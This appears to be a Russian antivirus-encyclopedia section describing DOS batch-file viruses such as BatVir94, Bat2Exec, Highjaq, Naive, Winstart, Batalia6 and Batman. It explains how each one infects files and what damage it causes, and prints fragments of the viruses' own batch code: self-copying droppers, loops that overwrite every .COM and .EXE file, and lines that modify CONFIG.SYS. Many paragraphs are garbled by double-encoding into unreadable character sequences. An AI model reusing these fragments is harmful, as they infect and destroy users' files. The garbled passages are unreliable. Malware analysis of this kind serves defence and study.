BAT (Batch) viruses
Являются BAT-файлами и заражают BAT-файлы.Bat.282
Копирует себя в корневые каталоги дисков B: и C: под именем VIRUS.BAT, затем модифицирует файл AUTOEXEC.BAT таким образом, что при его запуске сначала будет запущен файл VIRUS.BAT.Batalia.493
Безобидный нерезидентный РІРёСЂСѓСЃ. Рщет .BAT-файлы Рё записывается РІ РёС… начало. Содержит строку:[BATalia-5] (c) by Reminder
BatVir94.458
Безобидный нерезидентный вирус. При запуске зараженного BAT-файла вирус запускает утилиту DEBUG, создает свой hex дамп и дописывает его и команды DOS (см. ниже) к обнаруженным .BAT-файлам. Записываемый в .BAT-файлы код имеет вид:@echo offctty nulrem [BATVIR] '94 (c) Stormbringer [P/S]echo e0100 B4 4E BA 35 02 [...] 37 93 >>batvir.94echo e0114 B8 00 57 CD 21 [...] D2 CD >>batvir.94 [...]echo g >>batvir.94echo q >>batvir.94debug<batvir.94del batvir.94ctty con
Fret
Очень опасный вирус. Создает файл C:\_FTC.BAT, записывает туда свой код, ищет .BAT-файлы в текущем и родительских каталогах, затем запускает файл C:\_FTC.BAT, который заражает обнаруженные файлы. При заражении файла вирус записывается в конец файла, в начало файла добавляется строка:@if '%_Fret102%==' goto _Fret102
Вирус уничтожает файлы *.EXE, выводит текст:
FtC/Fret102 Coded By: The Exorcist[DC]
Bat2Exec
Очень опасный нерезидентный вирус. При запуске ищет .COM- и .EXE-файлы и записывается вместо них. Вирус представляет собой EXE-файл, однако исходный текст вируса был выполнен как BAT-файл, содержащий примерно такие строки:FOR %%i IN (*.com) DO copy %0 %%i > nulFOR %%i IN (*.exe) DO copy %0 %%i > nul
Ртот BAT-файл затем был переведен РІ формат выполняемого файла РїСЂРё помощи утилиты BAT2EXEC, Р° затем запакован утилитой PRO-PACK.
Код вируса (в EXE-файле) содержит строки (видны после распаковки):
Compiled by BAT2EXEC 1.5PC Magazine 0 Douglas BolingDUMMY FCB DUMMY FCBCOMSPECnul *.com /C COPY %0 %nul *.exe /C COPY %0 %
BAT.ClsV
Безобидный Batch-РІРёСЂСѓСЃ. Рщет .BAT-файлы РІ текущем Рё родительских каталогах Рё записывается РІ РёС… конец. Записывает СЃРІРѕСЋ РєРѕРїРёСЋ РІ файл C:\CLSV.BAT Рё РїСЂРё помощи DOS-утилиты DOSKEY устанавливает запуск этого файла РЅР° команду CLS (очистка экрана).
BAT.Combat
Безобидный нерезидентный BAT-РІРёСЂСѓСЃ. РџСЂРё запуске ищет .BAT-файлы РІ текущем Рё родительском каталогах, РІ каталогах C:\, C:\DOS, C:\WINDOWS Рё записывается РІ начало обнаруженных файлов.Рспользует "бинарный" СЃРїРѕСЃРѕР± - РєРѕРґ РІРёСЂСѓСЃР° исполняется Рё как batch-команды, Рё как COM-файл (СЃРј. РІРёСЂСѓСЃ "Batman" ). Рспользуя этот прием РІРёСЂСѓСЃ получает доступ Рє DOS-функциям (INT 21h). Для того чтобы запустить себя как COM-файл, РІРёСЂСѓСЃ копирует себя РІРѕ временный файл C:\COMBAT.COM Рё вызывает его.
Содержит строки:
* ComBat *Rajaat / GenesisComBat.TMP
BAT.HexVirus
Безобидный нерезидентный BAT-РІРёСЂСѓСЃ. Рщет .BAT-файлы РІ текущем Рё родительском каталогах, затем записывается РІ РёС… конец. РћСЃРЅРѕРІРЅРѕР№ РєРѕРґ РІРёСЂСѓСЃР° РІ зараженных файлах содержится РІ РІРёРґРµ шестнадцатеричного дампа (результат какого-то паковщика HEX-to-ASCII). РџСЂРё запуске РІРёСЂСѓСЃ создает РЅР° РґРёСЃРєРµ временный COM-файл, записывает туда распаковщик ASCII-to-BIN, распаковывает СЃРІРѕР№ РѕСЃРЅРѕРІРЅРѕР№ РєРѕРґ Рё выполняет его.Р’РёСЂСѓСЃ содержит строку:
HexVirus!
BAT.Highjaq
Неопасный вирус-червь. Записывает себя в BAT-файлы в архивы формата ARJ и системные драйвера. Нерезидентен (т.е. не содержит резидентного кода, который заражает файлы), но если вирус загружен в память как системный драйвер, то перехватывает INT 8, 21h и остается резидентно в памяти.Код вируса содержит две части. Первая часть является текстовыми строками, которые выполняются при запуске вируса как BAT-файла, вторая часть содержит двоичный код, выполняемый при запуске вируса как COM-файла или системного драйвера.
Текстовая часть вируса выглядит следующим образом (метки являются также командами передачи управления, если вирус запущен как двоичный выполняемый файл):
::pFqD@ctty nulcopy/b %0.bat+%0 c:\q.comdir \*.arj/s/b|c:\q.com/i:qlpjif errorlevel 1 goto qWpUren c:\q.com UMKQYGWK.5KAecho INSTALLHIGH=C:\UMKQYGWK.5KA>>c:\config.sys:qWpUfor %%a in (%0 %0.bat) do if exist %%a set q=%%adel c:\q.comctty con@del %q%
РџСЂРё запуске такого РєРѕРґР° РёР· BAT-файла РІРёСЂСѓСЃ копирует себя РІ файл C:\Q.COM (третья строка). Ртот файл является "дроппером" РІРёСЂСѓСЃР°, используемым для заражения РґСЂСѓРіРёС… файлов.
Затем вирус запускает команду DIR, которая ищет в каталогах текущего диска ARJ-архивы и передает их имена файлу Q.COM (4-я строка). Файл Q.COM заражает обнаруженные архивы, затем детектирует резидентную копию вируса и возвращает Errorlevel 1, если таковой код обнаружен. Если память не заражена (т.е. вирус не был запущен как системный драйвер), то вирус переименовывает файл Q.COM в UMKQYGWK.5KA и добавляет к файлу CONFIG.SYS строку:
INSTALLHIGH=C:\UMKQYGWK.5KA
В результате вирус добавляет себя к списку системных драйверов, и код вируса будет получать управление при загрузке DOS. Затем вирус уничтожает файл Q.COM и свой файл-носитель (BAT-файл, из которого был запущен вирус).
РџСЂРё запуске РІ РІРёРґРµ COM-файла (СЃРј. третью строку) РІРёСЂСѓСЃ получает РёРјСЏ ARJ-архива РёР· STDIN, проверяет архив Рё дописывает Рє архиву блок данных РІ формате ARJ. Ртот блок является неупакованным (метод "store") файлом /WINSTART.BAT, который содержит РєРѕРґ РІРёСЂСѓСЃР°.
При запуске в виде двоичного исполняемого файла текстовые строки выполняются как обычные команды ассемблера, и вирус передает управление на свой код несколькими командами JMP:
0100 3A 3A CMP BH,[BP+SI] ; text: ::pFqD0102 70 46 JO Jmp_a0104 71 44 JNO Jmp_a.... . . . . .0149 3A DB 3Ah ; text: :qlpj014A Jmp_a:014A 71 6C JNO Jmp_b014C 70 6A JO Jmp_b.... . . . . .01B7 3A DB 3Ah ; text: :qWpU01B8 Jmp_b:01B8 71 57 JNO Main_Code01BA 70 55 JO Main_Code.... . . . . .0211 Main_Code:.... . . . . .
Получив управление, двоичный код вируса определяет, был ли запущен вирус как COM-файл (в командной строке есть аргумент "/i") или как системный драйвер (аргументы отсутствуют). Если вирус запущен как системный драйвер, то он перехватывает INT 8, 21h и остается резидентно в памяти при помощи DOS-вызова Keep (INT 21h, AH=31h).
Если компьютер работает не под Windows 3.x, то обработчик INT 8 через некоторое время перезагружает компьютер. Обработчик INT 21h перехватывает два вызова. Первый является командой "AreYouHere?" (AX=FEFEh), по которой вирус определяет свою резидентную копию. Второй вызов является командой GetFileAttribute. Вирус блокирует этот вызов, если обращение идет к файлу с именем, начинающимся на "/W". Не очень понятно, зачем это нужно, видимо, вирус таким образом блокирует какие-то действия ARJ.EXE при распаковке файлов /WINSTART.BAT (дроппера вируса).
При запуске в виде двоичного файла без агрументов вирус также ставит у своего файла атрибуты Hidden и ReadOnly.
Вирус проверяет COM-порты и в некоторых случаях инициализирует порт модема и выводит туда строки:
ATL0M0A<cr>HIGHJAQ on COMx:38400,N,8,1<cr>
где COMx является номером порта модема. Затем вирус перехватывает INT 8 и запускает файл C:\COMMAND.COM с параметрами:
C:\ COM1 /E:1024/P/F
Перехватчик INT 8 в данном случае перезагружает компьютер, если обнаруживает, что бит Carrier Detect в соответствующем порте равен единице.
BAT.Hot2Trot
Опасный нерезидентный BAT-вирус. При запуске ищет .BAT-файлы в текущем и родительском каталогах и записывается в их конец. Заражает файлы способом, напоминающим стандартный способ заражения COM-файлов: записывает себя в конец файла, а в его начало помещает команду перехода на код вируса. В результате зараженные файлы выглядят примерно следующим образом:+---------------+ |@echo off | Команды перехода на код вируса+------|goto HotToTrot3||+---->|:To ||| |---------------| Команды зараженного BAT-файла|| |... ||| |... ||| |... ||| |---------------|||+----|goto Trot3 | Переход на конец файла (выход в DOS)||| |---------------|+----->|:HotToTrot3 | Основной код вируса || |... | || |... | +-----|goto To | Возврат управления программе-носителю +--->|Trot3: | Возврат в DOS +---------------+
При заражении файлов вирус использует DOS-функции (INT 21h). Для этого вирус создает и запускает два временных COM-файла: записывает на диск шестнадцатеричный код этих COM-файлов и конвертирует его в binary-код утилитой DEBUG. Если DEBUG отсутствует в PATH, вирус портит файлы.
Bat.Naive.4894
Неопасный резидентный BAT-вирус. Перехватывает INT 21h и записывается в начало .BAT-файлов. Зараженные файлы выглядят следующим образом (строки между '[' и ']' являются комментариями):@rem NAIVE@if exist naive.* goto naive@if "%range_check%=="yes goto naive@echo>naive.com [ HEX data1 ]@naive.com@if not errorlevel 33 goto superwork@del>nul naive.com@goto naive:superwork@echo>naive.com [ HEX data2 ]@echo>naive.dat [ ASCII text ]@echo>>naive.dat [ ASCII text ]@echo>>naive.dat [ ASCII text ] [ повтор ... ]@echo>>naive.dat@naive.com<naive.dat >naive.exe@del>nul naive.com@del>nul naive.dat@naive.exe>nul@del>nul naive.exe@set range_check=yes:naive[ первоначальный BAT-файл ]
"HEX data1" содержит код вызова проверки своей TSR копии ("Ты здесь?"), "HEX data2" содержит декодер ASCII->BIN, "ASCII text" содержит код вируса, преобразованный в ASCII строки.
При запуске такого BAT-файла вирус проверяет ENVIRONMENT на наличие строки RANGE_CHECK и, если она равна YES, передает управление первоначальному файлу. В противном случае вирус создает файл NAIVE.COM, записывает туда код вызова "Ты здесь?", выполняет этот файл и проверяет код возврата (ERRORLEVEL).
Файл NAIVE.COM содержит только вызов INT 21h с AH=F6h. Если в памяти уже присутствует копия випуса, она возвращает 12345678 в регистрах CX:DX, и NAIVE.COM отдает управление BAT-файлу с кодом ERRORLEVEL=33. Если TSR копии нет, то NAIVE.COM возвращает ERRORLEVEL=32.
Р’РёСЂСѓСЃ (РІ BAT-файле) проверяет значение ERRORLEVEL Рё, если РѕРЅРѕ равно 32, удалает файл NAIVE.COM Рё передает управление первоначальному BAT-РєРѕРґСѓ. Рначе РІРёСЂСѓСЃ создает РґРІР° файла: NAIVE.DAT Рё NAIVE.COM (РїСЂРё этом уничтожается предыдущий файл NAIVE.COM). Р’ файл NAIVE.COM РІРёСЂСѓСЃ записывает декодер ASCII->BIN, РІ файл NAIVE.DAT - ASCII-строки. Затем РІРёСЂСѓСЃ выполняет команду
@naive.com<naive.dat >naive.exe
которая создает файл NAIVE.EXE, считывает ASCII данные из NAIVE.DAT, декодирует их в шестнадцатеричный код, записывает результат в NAIVE.EXE и затем запускает NAIVE.EXE на выполнение. NAIVE.EXE устанавливает резидентную копию вируса и возвращает управление BAT-файлу, который затем уничтожает NAIVE.EXE, определяет строку ENVIRONMENT "RANGE_CHECK=YES" и передает управление первоначальным командам BAT-файла.
При запуске код файла NAIVE.EXE вызывает ту же самую функцию "Ты здесь?" как описано выше. Если вируса нет в памяти, NAIVE.EXE проверяет свое "поколение" и в зависимости от его значения пытается вывести на экран текст, содержащий крик души индивидуума, наконец-то достигшего половой зрелости. Однако вирус содержит две ошибки, благодаря которым текст не выводится на экран: первая ошибка - вирус никогда не увеличивает свой счетчик, вторая - все сообщения перенаправлены в NUL командой
@naive.exe>nul
Затем вирус перехватывает INT 21h и остается резидентным при помощи INT 27h.
При вызовах DOS-функции ChangeDir (INT 21h, AH=3Bh) вирус ищет .BAT-файлы и записывается в их начало. При этом кодирует себя в ASCII и записывает результат в файл NAIVE.TMP, затем добавляет туда код оригинального BAT-файла и переименовывает результат.
BAT.PG94
Безобидный нерезидентный BAT-РІРёСЂСѓСЃ. Рщет .BAT-файлы РІ текущем каталоге Рё записывается РІ РёС… начало. РџСЂРё заражении создает временный файл #PG94.~ РІ каталоге \DOS. Рспользует DOS-утилиту FIND. Соответственно, выдает сообщения РѕР± ошибке Рё РЅРµ заражает файлы, если РЅР° текущем РґРёСЃРєРµ нет каталога \DOS, или утилита FIND РЅРµ присутствует РІ PATH.Содержит строку:
Ha ha ha! Cybrphuc '94
Winstart
Р’РёСЂСѓСЃ получил название "Winstart", так как живет только РІ РѕРґРЅРѕРј файле - WINSTART.BAT. Ртот BAT-файл содержит четыре строки текста Рё строку данных:@ECHO OFF:s%r#COPY %0.BAT C:\Q.COM>NULC:\Q[ binary data ]
При запуске вируса (BAT-файла) он копирует себя в COM-файл (dropper) и запускает эго. Dropper при запуске копирует себя в HMA-память (High Memory Area), перехватывает INT 2Fh и создает файлы WINSTART.BAT на флоппи-дисках, куда себя и копирует. Очень похожий алгоритм использовался в вирусе Batman
Запуск BAT-файла
При запуске BAT-файла текст вируса выполняется как последовательность команд DOS:
команда и что она делает------- ----------------@ECHO OFF запрещает вывод на экран:s%r# метка, не выполняется в BAT-файлеCOPY %0.BAT C:\Q.COM>NUL копирует BAT-файл в C:\Q.COMC:\Q запускает C:\Q.COM
Дальше идет строчка двоичного РєРѕРґР°, которая начинается СЃ метки "конец файла" - байт 1Ah. РР·-Р·Р° этого байта DOS думает, что файл кончился, Рё строчка данных РЅРµ вызывает никаких побочных эффектов РїСЂРё работе BAT-файла.
Запуск COM-файла
Файл Q.COM является полной копией BAT-файла. Когда Q.COM получает управление, строчки BAT-файла выполняются как инструкции ассемблера. Выглядит это примерно следующим образом.
Сначала идут "пустышки":
INC AX ; '@'INC BP ; 'E'INC BX ; 'C'DEC AX ; 'H'DEC DI ; 'O'AND [BX+SI],AH ; ' '
Затем выполняется код, лежащий во второй строке BAT-файла (там, где метка):
JNC Install ; 's%'JC Install ; 'r#'
Рти команды передают управление РЅР° двоичний РєРѕРґ РІРёСЂСѓСЃР°, который заражает память.
Заражение памяти
РїСЂРѕРёСЃС…РѕРґРёС‚ довольно необычным СЃРїРѕСЃРѕР±РѕРј - РІРёСЂСѓСЃ записывает себя РІ HMA. Рспользуя функцию INT 2Fh AX=4A02h, РІРёСЂСѓСЃ выделяет себе 173 байта (Р° всего длина РІРёСЂСѓСЃР° - 297 байт), копирует туда СЃРІРѕР№ РєРѕРґ Рё перехватывает INT 2Fh. Адрес INT 2Fh берет РїСЂСЏРјРѕ РёР· DOS, РёР· РѕРґРЅРѕРіРѕ очень "хитрого" адреса (это работает РІ DOS 6.0+). Р’ тот же адрес РІРёСЂСѓСЃ записывает указатель РЅР° СЃРІРѕР№ обработчик INT 2Fh. РџСЂРё этом РІРёСЂСѓСЃ внедряет СЃРІРѕСЋ процедуру обработки INT 2Fh РІ самую сердцевину DOS.
Затем вирус переименовывает C:\Q.COM в C:\WINSTART.BAT и уничтожает C:\Q.COM (это нужно сделать, так как если WINSTART.BAT уже присутствует, то команда Rename работать не будет, и файл Q.COM не будет удален при попытке переименования). Затем вирус ставит у C:\WINSTART.BAT атрибут read-only и возвращает управление DOS.
В результате в HMA сидит вирус, который перехватывает INT 2Fh, а на диске C: лежит файл WINSTART.BAT.
INT 2Fh
При запуске каждой новой копии COMMAND.COM (это происходит, например, при запуске программ из-под XTREE или NortonCommander) вызывается INT 2Fh с AX=AE00h (Internal Installation Check). Вирус ловит этот вызов и создает на текущем диске новый файл WINSTART.BAT. Делает он это при двух условиях:
1) текущий диск - A: или B:2) он на 50% или более заполнен всякими файлами (видимо, вирус хочетспрятать себя между другими файлами, дабы не быть слишком заметным прикоманде DIR)
Если все это так, то вирус создает на текущем диске (A: или B:) файл WINSTART.BAT куда сливает свою копию из C:\WINSTART.BAT.
Batalia1,Batalia2
Безобидные нерезидентные BAT-РІРёСЂСѓСЃС‹. Рщут .BAT-файлы РІ текущем каталоге Рё записываются РІ РёС… конец. РџСЂРё заражении создают несколько временных файлов Рё записывают РІ РЅРёС… необходимые данные. "Batalia.1" также создает Рё запускает временный COM-файл (для того чтобы иметь доступ Рє DOS-функциям INT 21h).Содержат строки:
"Batalia1": "BATalia v 1.0" Written by Int O`Dream at 04.11.95 (Original algoritm)"Batalia2": BATalia2
BAT.Batalia3,Batalia4
Безобидные нерезидентные BAT-вирусы. При запуске ищут .BAT-файлы в текущем каталоге и заражают их. При заражении файлов используют архиватор ARJ, поэтому способны размножаться только в том случае, когда ARJ.EXE присутствует в PATH.Вирусы состоят из двух частей. Первая часть (заголовок) содержит команды DOS:
"Batalia3": "Batalia4":
@echo off @echo offrem YYY rem BAT4arj x %0 -gРѕРѕbРµpСЃ >nul arj x %0 >nulren p Int call icall i del sgren Int a.bat del i.batecho on@call a@echo offdel i.batdel a.batdel BATalia3
Вторая часть является архивом ARJ, содержащим файл I.ARJ (основной код вируса) и дополнительные файлы:
"Batalia3": P, BATALIA3"Batalia4": SG
SG и BATALIA3 содержат вспомогательные данные вируса, файл P (в случае вируса "Batalia3") содержит код файла-носителя.
Таким образом, зараженный BAT-файл содержит текстовые строки (batch-команды) и двоичные данные (архив ARJ).
При запуске вирусы распаковывают файлы I.BAT и SR/BATALIA3 из архива и запускают I.BAT, который затем ищет BAT-файлы в текущем каталоге и заражает их.
"Batalia4" дописывает свой код (6 batch-команд и ARJ-архив) в конец файла. "Batalia3" пакует заражаемый файл, записывает его в архив и результат записывает вместо заражаемого файла, т.е. при заражении "Batalia3" может уменьшать размер файлов.
BAT.Batalia6
Безобидный нерезидентный полиморфик BAT-вирус. При запуске ищет .BAT-файлы и заражает их. При заражении файлов вирус использует архиватор ARJ, поэтому способен размножаться только в том случае, когда ARJ.EXE присутствует в PATH.Зараженный файл состоит из двух частей. Первая часть (заголовок) содержит пять команд DOS (см. ниже). Вторая часть содержит BAT-файл со случайным именем, упакованный архиватором ARJ. Таким образом, вирус содержит строки текста (команды DOS) и данные (архив ARJ).
BAT-файл из ARJ-архива, в свою очередь, также содержит команды DOS и еще один ARJ-архив. Команды DOS этого BAT-файла являются основным кодом вируса, который вызывает процедуры поиска файлов, заражения и генерации полиморфик-кода. ARJ-архив содержит несколько файлов: файл-носитель, дополнительный код и данные вируса. В результате зараженный файл выглядит как архив в архиве:
+--------------------+|BAT-команды | - заголовок1, startup-код|--------------------|| ARJ-архив: | - содержит BAT-файл со случайным именем| +----------------+ || |BAT-команды | | - заголовок2, основной код вируса| |----------------| || | ARJ-архив: | | - содержит набор файлов:| | +------------+ | || | |BATALIA6.BAT| | | - процедуры поиска и заражения, полиморфик-генератор| | |hostfile.BAT| | | - файл-носитель| | |ZAGL | | | - данные вируса| | |RULZ | | | - данные вируса| | |FINAL.BAT | | | - процедура уничтожения временных файлов| | +------------+ | || +----------------+ |+--------------------+
Заголовок1 содержит пять команд, которые при заражении выбираются из нескольких вариантов и имеют различные длины, например:
@echo off @EcHo OfFrem arj e %0 %compec% -g5 rem COMMAND.COM nul /carj x %0 -g1C:\COMMAND.COM nul /carj x %0 -g2 %comspec% nul /c arj e HOST.BAT -g3:nul arj x %0 -g7 C:\COMMAND.COM :echo C:\COMMAND.COM nul /carj x %0w HOST.BAT i HOST.BAT
ARJ-архив зашифрован со случайным паролем, поэтому вирус практически не содержит постоянных байт и является первым известным полиморфик-BAT-вирусом.
При запуске вирус (заголовок1) запускает архиватор ARJ, распаковывает свою вторую часть (BAT-файл) и запускает его. Код второй части создает временный подкаталог, в который распаковывает файлы из второго архива, выполняет процедуры поиска и заражения файлов, затем запускает файл-носитель и уничтожает временные файлы и подкаталог.
Код вируса содержит только текстовые строки, среди которых присутствуют комментарии:
: Death Virii Crew & Stealth Group World Wide: P R E S E N T S: First Mutation Engine for BAT !: Without ASM !: [BATalia6] & FMEB (c) by Reminder
: // ## #: +-------- /// ------+ ### Magazine # for VirMakers: |+++-++- // // -+-+++| ### ################ # ################### # ########: |++ | | ///// | | ||| ## ### ### ### ### ### ### ### # # ### # ### ###: |++ - + ///// ++- ++| # # # ## ## # # ## # # # # # # # # #: +------ // // -------+ # # # # ### ### # ### ### ## ### # ### ####: GROUP // // WORLDWIDE # ################# ###############################:: Box 10, Kiev 252148: Box 15, Moscow 125080: Box 11, Lutsk 263020:: R E A D I N F E C T E D V O I C E:: (c) by Reminder (May 22, 1996)
Batman.186
Резидентный безобидный BAT-РІРёСЂСѓСЃ. Легче показать текст РІРёСЂСѓСЃР°, чем рассказать, что РѕРЅ делает. Ртот текст довольно РїСЂРѕСЃС‚:@ECHO OFFREM <<< code: jmp installation, int_21 handler part 1 >>>copy %0 b.com>nulb.comdel b.comrem <<< code: TSR installation, int_21 handler part 2 >>>
Замечание: скобки <<< >>> означают, что здесь идут нетекстовые байты вируса.
Основной отличительной чертой вируса является то, что его тело выполняется в двух различных форматах: как batch-файл, если имя файла вируса имеет расширение .BAT, и как COM-файл, если расширение .COM.
При запуске вируса в BAT-формате он копирует себя в файл B.COM. Таким образом вирус создает копию зараженного BAT-файла, но с расширением COM. Затем вирус запускает этот файл и по окончании его работы удаляет его с диска. Двоичные коды вируса, выполняющиеся при запуске файла в COM-формате, закомментированы инструкцией REM и никак не влияют на работу BAT-файла.
Файл B.COM выполняется как обыкновенный COM-файл. При этом текстовые строки, идущие в начале файла,
@ECHO OFFREM
интерпретируются процессором как инструкции типа
INC registerDEC registerOR register, immediateAND register, register
Рти инструкции никак РЅРµ влияют РЅР° работу программы. После того как выполнены последние текстовые байты (инструкция REM РІРѕ второй строке BAT-файла), начинает работать РєРѕРґ РІРёСЂСѓСЃР°, отвечающий Р·Р° его активизацию. Алгоритм инсталляции РІРёСЂСѓСЃР° РІ память довольно примитивен, РѕРЅ содержит всего 10 команд. Р’РёСЂСѓСЃ перехватывает INT 21h Рё остается резидентным РїСЂРё помощи стандартного прерывания DOS INT 27h. Р’РёСЂСѓСЃ РЅРµ проверяет СЃРІРѕРµ наличие РІ памяти Рё остается резидентным столько раз, сколько запускаются пораженные BAT-файлы.
Вирус обрабатывает только одну функцию DOS - WriteHandle (INT 21h, AH=40H). Он проверяет начало записываемого на диск буфера на наличие строки '@echo' и, если она присутствует, записывает сначала свое тело, а затем сохраняемый буфер. Таким образом многие BAT-файлы оказываются пораженными при их создании, копировании или модификации.
Поскольку в памяти может присутствовать несколько копий вируса, то все они запишут себя в поражаемый файл.
BAT.DebugVir
Безобидный нерезидентный BAT-вирус. При запуске ищет .BAT-файлы и записывается в их начало. Для того чтобы получить доступ к DOS-функциям поиска файлов, чтения и записи, вирус записывает во временный файл ассемблерный текст, затем компилирует и выполняет его при помощи утилиты DEBUG. Вирус содержит строки:(hehe) Debug Batch Virus and here's your host...
BAT.Gray
Неопасный нерезидентный BAT-вирус. Записывается в конец файла C:\AUTOEXEC.BAT, другие файлы не заражает. При заражении создает файл C:\ADINFНC.°°° и записывает в него свою копию. Если такой файл уже присутствует, вирус выводит текст и возвращается в DOS:Gray Lord represent this new batch file virus!
BAT.Mtr
Очень опасный нерезидентный BAT-вирус. При запуске ищет .BAT-файлы в корневых каталогах дисков от C: до G: и записывается в начало обнаруженных файлов. После заражения оставляет в корневом каталоге диска файл DONE.BIN и использует его как идентификатор "уже заразили".После шести запусков стирает COMMAND.COM и все файлы в каталогах: C:\DOS, C:\NC, C:\MOUSE, C:\RUS.
Содержит текст:
"Mind TRaining" by Dr.MORGAN
BAT.PolyBat
Неопасный нерезидентный полиморфик BAT-РІРёСЂСѓСЃ. Записывается РІ конец файлов. РџСЂРё запуске ищет .BAT-файлы РІ текущем Рё родительском каталогах, затем РІ текущем каталоге РґРёСЃРєР° C:, РІ РєРѕСЂРЅРµ C: Рё РІРѕ всех каталогах PATH. РџСЂРё каждом запуске заражает РѕРґРёРЅ файл.Рспользует полиморфик-метод, похожий РЅР° РІРёСЂСѓСЃ "Batalia6" - пакует себя PKZIP'РѕРј СЃ паролем, Р° РІ команды вызова распаковщика PKUNZIP добавляет "пустые" строки.
Выводит текст:
(: PolyBat Morpher :)
При заражении использует внешние команды DOS и утилиты: PKZIP, PKUNZIP, ATTRIB, FIND, поэтому не заражает файлы, если эти программы отсутствуют в PATH.
BAT.Shadow
Неопасный нерезидентный компаньон BAT-вирус. Не изменяет BAT-файлы, а создает новые и записывает себя вместо них, скопировав предварительно заражаемый файл под другим именем. После заражения 35 файлов выводит текст:ShadowBat 1997
BAT.Zeke
BAT.Zeke.324
Безобидный нерезидентный компаньон -РІРёСЂСѓСЃ. Является BAT-файлом. Получил название РїРѕ имени своей переменной "zeke". РџСЂРё запуске ищет .EXE-файлы, переименовывает РёС… РІ *.DSS Рё создает компаньон-BAT-файлы СЃ тем же именем. Рщет .EXE-файлы РІ текущем Рё родительском каталогах текущего РґРёСЃРєР° Рё РґРёСЃРєРѕРІ C Рё D.BAT.Zeke.ZIP
Рспользует такой же прием, что Рё "BAT.Zeke.324", РЅРѕ РїСЂРё этом пакует EXE-файл PKZIP'РѕРј СЃ паролем "zeke".
BAT.Sys
Безобидный BAT-РІРёСЂСѓСЃ, длина - 602 байта. Рспользует достаточно необычный СЃРїРѕСЃРѕР± заражения: переносит себя РЅР° РґСЂСѓРіРёРµ РґРёСЃРєРё вместе СЃ операционной системой. РќР° флоппи-дисках записывает себя РІ файл AUTOEXEC.BAT Рё автоматически запускается РїСЂРё загрузке DOS СЃ зараженного РґРёСЃРєР°. РќР° винчестере записывает себя вместо файла SYS.COM Рё получает управление РїСЂРё вызове DOS-команды SYS, С‚.Рµ. РїСЂРё переносе системы РЅР° новый РґРёСЃРє.РџСЂРё загрузке СЃ дискеты РІРёСЂСѓСЃ ищет файл C:\WINDOWS\COMMAND\SYS.COM, переименовывает его РІ SYS.OLD, устанавливает Сѓ него атрибут Hidden Рё копирует себя РІ тот же каталог РїРѕРґ именем SYS.BAT.
В результате при вызове команды SYS управление получает код вируса, который затем временно переименовывает файл SYS.OLD в SYS.COM, запускает его и копирует себя на диск под именем AUTOEXEC.BAT.